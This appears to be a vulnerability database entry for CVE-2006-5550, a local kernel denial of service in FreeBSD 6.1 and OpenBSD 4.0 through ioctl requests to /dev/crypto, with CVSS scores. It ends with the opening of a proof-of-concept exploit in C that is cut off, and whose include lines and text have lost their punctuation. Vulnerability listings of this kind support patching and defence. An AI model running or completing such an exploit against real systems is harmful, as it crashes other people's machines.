4.9
CVSSv2

CVE-2006-5550

Published: 26/10/2006 Updated: 05/09/2008
CVSS v2 Base Score: 4.9 | Impact Score: 6.9 | Exploitability Score: 3.9
VMScore: 495
Vector: AV:L/AC:L/Au:N/C:N/I:N/A:C

Vulnerability Summary

The kernel in FreeBSD 6.1 and OpenBSD 4.0 allows local users to cause a denial of service via unspecified vectors involving certain ioctl requests to /dev/crypto.

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freebsd freebsd 6.1

openbsd openbsd 4.0

Exploits

// Evgeny Legerov (elegerovblogspotcom) #include unistdh #include sys/typesh #include stdioh #include fcntlh #include crypto/cryptodevh int main() { int fd2, fd; struct crypt_kop kop; printf("FreeBSD 61 /dev/crypto local kernel DoS\n"); fd2 = open("/dev/crypto", O_RDWR, 0); if (fd2 == -1){ ...